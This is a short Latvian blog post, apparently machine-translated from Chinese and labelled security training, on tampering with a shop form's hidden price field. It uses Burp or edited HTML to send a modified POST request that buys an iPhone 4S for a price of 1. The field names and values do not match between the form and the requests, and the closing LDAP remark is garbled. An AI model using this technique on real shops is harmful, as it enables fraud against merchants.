Ielaušanās iekļūšana: HTTP galveņu lietošana

Admin · Publicēts 07.02.2015 17:59:07

Par HTTP galveņu lietošanu

http galvene parasti tiek izmantota vietņu pārraides mehānismā, taču lielākā daļa iesācēju Ķīnā šo gabalu nav pamanījuši, šis raksts ir veltīts tikai iesācējiem, http galvenes loma ielaušanās procesā.

Izmantojiet iepirkšanās lapu kā piemēru, lai analizētu nelielu daļu no HTTP galveņu lomas.

Vispirms analizēsim veidlapu iepirkšanās lapā.

<form method="post" action="shop.php?id=1">

prodct: iphone 4s <br />

price:2400 <br /> 

Quantity: <input type="text" name="gouwu"> (Maximum gouwu is 50) <br />

<input type="hidden" name="price" value="449">

<input type="submit" value="Pirkt">

</form>

Atvēršanas procesa laikā uzņemiet ekrānuzņēmumu no viņa http ziņojuma galvenes un apskatiet

POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

daudzums=1&cena=2400

Lai gan cenu lauks netiek parādīts lapā, atverot iepirkšanās lapu, lietotājs to joprojām var rediģēt un izmantot.

Ir divi veidi, kā panākt rediģēšanu

1. Saglabājiet HTML avota kodu modificēšanai un pēc tam atkārtoti ielādējiet to pārlūkprogrammā, lai palaistu

2. Izmantojiet starpniekservera pārtveršanu, lai modificētu HTTP galvenes (starpniekservera konstrukcija rīka burpā)

Kā piemēru ņemiet iepriekš minēto HTTP galveni
Pirms izmaiņām
POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

daudzums=1&cena=2400

Pēc izmaiņām
POST /shop/2/shop.php?id=1 HTTP/1.1
Host: shop.net
Content-Type: application/x-www/form-urlencoded
Content-Length: 20

daudzums=1&cena=1

Pēdējā rindā laukā Cenas vērtība ir 2400, un, ja mēs to mainām uz 1, mēs varam iegūt iPhone 4S par lētāku cenu.

Šis raksts sniedz tikai priekšstatu par negaidītiem ieguvumiem, piemēram, LDAP injekciju.

[Drošības apmācība] Ielaušanās iekļūšana: HTTP galveņu lietošana

Saistītās ziņas

Skatītās sadaļas